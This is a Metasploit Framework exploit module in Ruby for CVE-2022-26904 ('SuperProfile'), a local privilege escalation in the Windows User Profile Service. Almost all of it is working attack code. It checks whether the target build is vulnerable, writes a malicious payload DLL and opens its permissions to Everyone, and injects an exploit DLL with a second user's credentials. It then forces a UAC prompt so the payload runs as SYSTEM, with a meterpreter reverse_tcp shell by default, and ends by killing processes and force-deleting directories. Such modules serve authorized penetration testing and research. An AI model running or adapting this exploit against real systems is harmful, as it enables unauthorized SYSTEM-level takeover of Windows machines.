Path: blob/master/modules/exploits/windows/local/cve_2022_26904_superprofile.rb
33493 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper10include Msf::Post::Windows::FileInfo11include Msf::Post::Windows::Priv12include Msf::Post::Windows::Version13include Msf::Post::Windows::Process14include Msf::Post::Windows::ReflectiveDLLInjection15include Msf::Exploit::EXE # Needed for generate_payload_dll16prepend Msf::Exploit::Remote::AutoCheck1718def initialize(info = {})19super(20update_info(21info,22{23'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',24'Description' => %q{25The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability26in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of27the junctions it tries to link together.2829Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a30UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.3132Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as33CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for34CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it35as CVE-2022-26904.3637It is important to note that the credentials supplied for the second user to log in as in this exploit must be38those of a normal non-admin user and these credentials must also corralate with a user who has already logged in39at least once before. Additionally the current user running the exploit must have UAC set to the highest level,40aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that41"Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances42where this setting has been changed either manually or as part of the installation process.43},44'License' => MSF_LICENSE,45'Author' => [46'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass47'Grant Willcox' # Metasploit module + Tweaks to PoC48],49'Platform' => 'win',50'SessionTypes' => [ 'meterpreter' ],51'Targets' => [52[ 'Windows 11', { 'Arch' => ARCH_X64 } ]53],54'References' => [55['CVE', '2022-26904'],56['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but was taken down. This is a backup.57['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original blog post58['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug providing insight into patched functionality.59],60'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.61'DefaultTarget' => 0,62'Notes' => {63'Stability' => [ CRASH_SAFE, ],64'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.65'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]66},67'DefaultOptions' => {68'EXITFUNC' => 'thread',69'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',70'WfsDelay' => 30071},72'AKA' => [ 'SuperProfile' ]73}74)75)7677register_options([78OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!']),79OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),80OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])81])82end8384def check85sysinfo_value = sysinfo['OS']8687if sysinfo_value !~ /windows/i88# Non-Windows systems are definitely not affected.89return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')90end9192# see https://docs.microsoft.com/en-us/windows/release-information/93version = get_version_info94unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H2) ||95version.build_number == Msf::WindowsVersion::Win11_21H2 ||96version.build_number == Msf::WindowsVersion::Server202297return CheckCode::Safe('Target is not running a vulnerable version of Windows!')98end99100print_status('Checking if PromptOnSecureDesktop mitigation applied...')101reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'102reg_val = 'PromptOnSecureDesktop'103begin104root_key, base_key = @session.sys.registry.splitkey(reg_key)105value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)106rescue Rex::Post::Meterpreter::RequestError => e107return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")108end109110if value.data == 0111return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')112elsif value.data == 1113print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')114else115return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")116end117118# Build numbers taken from https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26904, and associated119# security update information (e.g. https://support.microsoft.com/en-us/topic/windows-10-update-history-857b8ccb-71e4-49e5-b3f6-7073197d98fb,120# https://support.microsoft.com/en-us/topic/windows-11-version-21h2-update-history-a19cd327-b57f-44b9-84e0-26ced7109ba9)121if version.build_number == Msf::WindowsVersion::Win11_21H2 && version.revision_number.between?(0, 612)122return CheckCode::Appears('Vulnerable Windows 11 build detected!')123elsif version.build_number == Msf::WindowsVersion::Server2022 && version.revision_number.between?(0, 642)124return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')125elsif version.build_number == Msf::WindowsVersion::Win10_21H2 && version.revision_number.between?(0, 1644)126return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')127elsif version.build_number == Msf::WindowsVersion::Win10_21H1 && version.revision_number.between?(0, 1644)128target_not_presently_supported129return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')130elsif version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 1644)131target_not_presently_supported132return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')133elsif version.build_number == Msf::WindowsVersion::Win10_2004134target_not_presently_supported135return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')136elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 2211)137target_not_presently_supported138return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')139elsif version.build_number == Msf::WindowsVersion::Win10_1903140target_not_presently_supported141return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')142elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 2802)143target_not_presently_supported144return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')145elsif version.build_number == Msf::WindowsVersion::Win10_1803146target_not_presently_supported147return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')148elsif version.build_number == Msf::WindowsVersion::Win10_1709149target_not_presently_supported150return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')151elsif version.build_number == Msf::WindowsVersion::Win10_1703152target_not_presently_supported153return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')154elsif version.build_number == Msf::WindowsVersion::Win10_1607 && version.revision_number.between?(0, 5065)155target_not_presently_supported156return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')157elsif version.build_number == Msf::WindowsVersion::Win10_1511158target_not_presently_supported159return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')160elsif version.build_number == Msf::WindowsVersion::Win10_1507161target_not_presently_supported162return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')163elsif version.build_number == Msf::WindowsVersion::Win81 # Includes Server 2012 R2164target_not_presently_supported165return CheckCode::Detected('Windows 8.1/Windows Server 2012 R2 build detected!')166elsif version.build_number == Msf::WindowsVersion::Win8 # Includes Server 2012167target_not_presently_supported168return CheckCode::Detected('Windows 8/Windows Server 2012 build detected!')169elsif version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) # Includes Server 2008 R2170target_not_presently_supported171return CheckCode::Detected('Windows 7/Windows Server 2008 R2 build detected!')172elsif version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2008_SP2_Update) # Includes Server 2008173target_not_presently_supported174return CheckCode::Detected('Windows Server 2008/Windows Server 2008 SP2 build detected!')175else176return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')177end178end179180def target_not_presently_supported181print_warning('This target is not presently supported by this exploit. Support may be added in the future!')182print_warning('Attempts to exploit this target with this module WILL NOT WORK!')183end184185def check_target_is_running_supported_windows_version186if !sysinfo['OS'].include?('Windows')187fail_with(Failure::NotVulnerable, 'Target is not running Windows!')188elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease189fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')190end191end192193def exploit194# Step 1: Check target environment is correct.195print_status('Step #1: Checking target environment...')196if is_system?197fail_with(Failure::None, 'Session is already elevated')198end199check_target_is_running_supported_windows_version200201# Step 2: Generate the malicious DLL and upload it to a temp location.202payload_dll = generate_payload_dll203print_status("Payload DLL is #{payload_dll.length} bytes long")204temp_directory = session.sys.config.getenv('%TEMP%')205malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"206print_status("Writing malicious DLL to #{malicious_dll_location}")207write_file(malicious_dll_location, payload_dll)208209print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')210cmd_exec("icacls #{malicious_dll_location} /grant Everyone:(F)")211register_file_for_cleanup(malicious_dll_location)212213# Register the directories we create for cleanup214register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')215register_dir_for_cleanup('C:\\Users\\TEMP')216217# Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.218print_status('Step #3: Loading the exploit DLL to run the main exploit...')219library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')220library_path = ::File.expand_path(library_path)221222dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s + '||' + malicious_dll_location.to_s223224@session_obtained_bool = false225# invoke the exploit, passing in the address of the payload that226# we want invoked on successful exploitation, and the credentials for the second user.227execute_dll(library_path, dll_info_parameter)228229print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')230print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following command upon session completion:")231print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F || taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')232print_warning('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!')233234print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')235print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')236sleep(60)237if (@session_obtained_bool == false)238# Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself239# triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.240begin241cmd_exec('UserAccountControlSettings.exe')242rescue Rex::TimeoutError243print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')244end245end246end247248def on_new_session(new_session)249@session_obtained_bool = true250old_session = @session251@session = new_session252if new_session.type == 'meterpreter'253consent_pids = pidof('consent.exe')254for id in consent_pids255@session.sys.process.kill(id)256end257sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes258# can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.259narrator_pids = pidof('Narrator.exe')260for id in narrator_pids261@session.sys.process.kill(id)262end263narrator_pids = pidof('NarratorQuickStart.exe')264for id in narrator_pids265@session.sys.process.kill(id)266end267narrator_pids = pidof('msiexec.exe')268for id in narrator_pids269@session.sys.process.kill(id)270end271else272# If it is another session type such as shell or PowerShell we will need to execute the command273# normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes274# by name or PIDs as library functions for these session types.275cmd_exec('taskkill /IM "consent.exe" /F')276sleep(5)277cmd_exec('taskkill /IM "narrator.exe" /F')278cmd_exec('taskkill /IM "narratorquickstart.exe" /F')279cmd_exec('taskkill /IM "msiexec.exe" /F')280end281282rm_rf('C:\\Windows\\System32\\Narrator.exe.local')283for _i in range(1..3)284rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.285end286@session = old_session287super288end289end290291292